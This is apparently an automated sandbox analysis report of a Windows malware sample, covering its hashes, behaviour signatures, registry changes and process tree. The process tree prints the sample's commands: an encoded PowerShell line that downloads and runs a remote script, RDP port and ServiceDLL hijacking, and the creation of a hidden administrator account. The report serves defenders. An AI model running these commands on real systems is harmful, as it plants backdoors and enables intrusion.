Analysis
-
max time kernel
48s -
max time network
116s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
18-06-2021 09:05
Static task
static1
Behavioral task
behavioral1
Sample
6774f8a7d95a58ddab16d1c792ec846c.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
6774f8a7d95a58ddab16d1c792ec846c.exe
Resource
win10v20210410
General
-
Target
6774f8a7d95a58ddab16d1c792ec846c.exe
-
Size
4.5MB
-
MD5
6774f8a7d95a58ddab16d1c792ec846c
-
SHA1
562b99cee396d3d22dde68d9de09214dc32a0dd4
-
SHA256
eb02c967fb3feaf5504a78de8a7e0513c2c4e52ddf2243bfbcb10e83954baaad
-
SHA512
b3c7b9e46f6b5ccc513708729bd79b0ffab4605a9c4bbce0f5209574a83f68b2353c67b4731b0bdb5aa398f33dbe97c9bf46f54f0c0680e3f2b74c83e7657019
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 9 IoCs
Processes:
powershell.exeflow pid process 16 864 powershell.exe 18 864 powershell.exe 19 864 powershell.exe 20 864 powershell.exe 22 864 powershell.exe 24 864 powershell.exe 26 864 powershell.exe 28 864 powershell.exe 30 864 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 2644 2644 -
Drops file in Program Files directory 4 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe -
Drops file in Windows directory 19 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6920.tmp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_fyyml3q3.fjt.ps1 powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_obf3qla0.jfi.psm1 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6940.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6951.tmp powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6961.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6991.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 18 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3060 powershell.exe 3060 powershell.exe 3060 powershell.exe 1344 powershell.exe 1344 powershell.exe 1344 powershell.exe 3920 powershell.exe 3920 powershell.exe 3920 powershell.exe 4004 powershell.exe 4004 powershell.exe 4004 powershell.exe 3060 powershell.exe 3060 powershell.exe 3060 powershell.exe 864 powershell.exe 864 powershell.exe 864 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 624 624 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3060 powershell.exe Token: SeDebugPrivilege 1344 powershell.exe Token: SeIncreaseQuotaPrivilege 1344 powershell.exe Token: SeSecurityPrivilege 1344 powershell.exe Token: SeTakeOwnershipPrivilege 1344 powershell.exe Token: SeLoadDriverPrivilege 1344 powershell.exe Token: SeSystemProfilePrivilege 1344 powershell.exe Token: SeSystemtimePrivilege 1344 powershell.exe Token: SeProfSingleProcessPrivilege 1344 powershell.exe Token: SeIncBasePriorityPrivilege 1344 powershell.exe Token: SeCreatePagefilePrivilege 1344 powershell.exe Token: SeBackupPrivilege 1344 powershell.exe Token: SeRestorePrivilege 1344 powershell.exe Token: SeShutdownPrivilege 1344 powershell.exe Token: SeDebugPrivilege 1344 powershell.exe Token: SeSystemEnvironmentPrivilege 1344 powershell.exe Token: SeRemoteShutdownPrivilege 1344 powershell.exe Token: SeUndockPrivilege 1344 powershell.exe Token: SeManageVolumePrivilege 1344 powershell.exe Token: 33 1344 powershell.exe Token: 34 1344 powershell.exe Token: 35 1344 powershell.exe Token: 36 1344 powershell.exe Token: SeDebugPrivilege 3920 powershell.exe Token: SeIncreaseQuotaPrivilege 3920 powershell.exe Token: SeSecurityPrivilege 3920 powershell.exe Token: SeTakeOwnershipPrivilege 3920 powershell.exe Token: SeLoadDriverPrivilege 3920 powershell.exe Token: SeSystemProfilePrivilege 3920 powershell.exe Token: SeSystemtimePrivilege 3920 powershell.exe Token: SeProfSingleProcessPrivilege 3920 powershell.exe Token: SeIncBasePriorityPrivilege 3920 powershell.exe Token: SeCreatePagefilePrivilege 3920 powershell.exe Token: SeBackupPrivilege 3920 powershell.exe Token: SeRestorePrivilege 3920 powershell.exe Token: SeShutdownPrivilege 3920 powershell.exe Token: SeDebugPrivilege 3920 powershell.exe Token: SeSystemEnvironmentPrivilege 3920 powershell.exe Token: SeRemoteShutdownPrivilege 3920 powershell.exe Token: SeUndockPrivilege 3920 powershell.exe Token: SeManageVolumePrivilege 3920 powershell.exe Token: 33 3920 powershell.exe Token: 34 3920 powershell.exe Token: 35 3920 powershell.exe Token: 36 3920 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeIncreaseQuotaPrivilege 4004 powershell.exe Token: SeSecurityPrivilege 4004 powershell.exe Token: SeTakeOwnershipPrivilege 4004 powershell.exe Token: SeLoadDriverPrivilege 4004 powershell.exe Token: SeSystemProfilePrivilege 4004 powershell.exe Token: SeSystemtimePrivilege 4004 powershell.exe Token: SeProfSingleProcessPrivilege 4004 powershell.exe Token: SeIncBasePriorityPrivilege 4004 powershell.exe Token: SeCreatePagefilePrivilege 4004 powershell.exe Token: SeBackupPrivilege 4004 powershell.exe Token: SeRestorePrivilege 4004 powershell.exe Token: SeShutdownPrivilege 4004 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeSystemEnvironmentPrivilege 4004 powershell.exe Token: SeRemoteShutdownPrivilege 4004 powershell.exe Token: SeUndockPrivilege 4004 powershell.exe Token: SeManageVolumePrivilege 4004 powershell.exe Token: 33 4004 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
6774f8a7d95a58ddab16d1c792ec846c.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exedescription pid process target process PID 3172 wrote to memory of 3060 3172 6774f8a7d95a58ddab16d1c792ec846c.exe powershell.exe PID 3172 wrote to memory of 3060 3172 6774f8a7d95a58ddab16d1c792ec846c.exe powershell.exe PID 3060 wrote to memory of 3956 3060 powershell.exe csc.exe PID 3060 wrote to memory of 3956 3060 powershell.exe csc.exe PID 3956 wrote to memory of 1968 3956 csc.exe cvtres.exe PID 3956 wrote to memory of 1968 3956 csc.exe cvtres.exe PID 3060 wrote to memory of 1344 3060 powershell.exe powershell.exe PID 3060 wrote to memory of 1344 3060 powershell.exe powershell.exe PID 3060 wrote to memory of 3920 3060 powershell.exe powershell.exe PID 3060 wrote to memory of 3920 3060 powershell.exe powershell.exe PID 3060 wrote to memory of 4004 3060 powershell.exe powershell.exe PID 3060 wrote to memory of 4004 3060 powershell.exe powershell.exe PID 3060 wrote to memory of 1940 3060 powershell.exe reg.exe PID 3060 wrote to memory of 1940 3060 powershell.exe reg.exe PID 3060 wrote to memory of 2416 3060 powershell.exe reg.exe PID 3060 wrote to memory of 2416 3060 powershell.exe reg.exe PID 3060 wrote to memory of 2396 3060 powershell.exe reg.exe PID 3060 wrote to memory of 2396 3060 powershell.exe reg.exe PID 3060 wrote to memory of 3932 3060 powershell.exe net.exe PID 3060 wrote to memory of 3932 3060 powershell.exe net.exe PID 3932 wrote to memory of 1792 3932 net.exe net1.exe PID 3932 wrote to memory of 1792 3932 net.exe net1.exe PID 3060 wrote to memory of 1400 3060 powershell.exe cmd.exe PID 3060 wrote to memory of 1400 3060 powershell.exe cmd.exe PID 1400 wrote to memory of 3292 1400 cmd.exe cmd.exe PID 1400 wrote to memory of 3292 1400 cmd.exe cmd.exe PID 3292 wrote to memory of 3348 3292 cmd.exe net.exe PID 3292 wrote to memory of 3348 3292 cmd.exe net.exe PID 3348 wrote to memory of 1616 3348 net.exe net1.exe PID 3348 wrote to memory of 1616 3348 net.exe net1.exe PID 3060 wrote to memory of 3184 3060 powershell.exe cmd.exe PID 3060 wrote to memory of 3184 3060 powershell.exe cmd.exe PID 3184 wrote to memory of 4004 3184 cmd.exe cmd.exe PID 3184 wrote to memory of 4004 3184 cmd.exe cmd.exe PID 4004 wrote to memory of 3204 4004 cmd.exe net.exe PID 4004 wrote to memory of 3204 4004 cmd.exe net.exe PID 3204 wrote to memory of 1908 3204 net.exe net1.exe PID 3204 wrote to memory of 1908 3204 net.exe net1.exe PID 384 wrote to memory of 2448 384 cmd.exe net.exe PID 384 wrote to memory of 2448 384 cmd.exe net.exe PID 2448 wrote to memory of 2472 2448 net.exe net1.exe PID 2448 wrote to memory of 2472 2448 net.exe net1.exe PID 200 wrote to memory of 3588 200 cmd.exe net.exe PID 200 wrote to memory of 3588 200 cmd.exe net.exe PID 3588 wrote to memory of 1124 3588 net.exe net1.exe PID 3588 wrote to memory of 1124 3588 net.exe net1.exe PID 3384 wrote to memory of 3268 3384 cmd.exe net.exe PID 3384 wrote to memory of 3268 3384 cmd.exe net.exe PID 3268 wrote to memory of 4084 3268 net.exe net1.exe PID 3268 wrote to memory of 4084 3268 net.exe net1.exe PID 2836 wrote to memory of 1816 2836 cmd.exe net.exe PID 2836 wrote to memory of 1816 2836 cmd.exe net.exe PID 1816 wrote to memory of 864 1816 net.exe net1.exe PID 1816 wrote to memory of 864 1816 net.exe net1.exe PID 1352 wrote to memory of 1124 1352 cmd.exe net.exe PID 1352 wrote to memory of 1124 1352 cmd.exe net.exe PID 1124 wrote to memory of 2700 1124 net.exe net1.exe PID 1124 wrote to memory of 2700 1124 net.exe net1.exe PID 2416 wrote to memory of 3384 2416 cmd.exe net.exe PID 2416 wrote to memory of 3384 2416 cmd.exe net.exe PID 3384 wrote to memory of 3268 3384 net.exe net1.exe PID 3384 wrote to memory of 3268 3384 net.exe net1.exe PID 2180 wrote to memory of 1428 2180 cmd.exe WMIC.exe PID 2180 wrote to memory of 1428 2180 cmd.exe WMIC.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6774f8a7d95a58ddab16d1c792ec846c.exe"C:\Users\Admin\AppData\Local\Temp\6774f8a7d95a58ddab16d1c792ec846c.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q25fv3tu\q25fv3tu.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES309B.tmp" "c:\Users\Admin\AppData\Local\Temp\q25fv3tu\CSCF983F113C0AA49D09FFBE0B43FC91FA7.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc AsXrcplv /add1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc AsXrcplv /add2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc AsXrcplv /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc AsXrcplv1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc AsXrcplv2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc AsXrcplv3⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
-
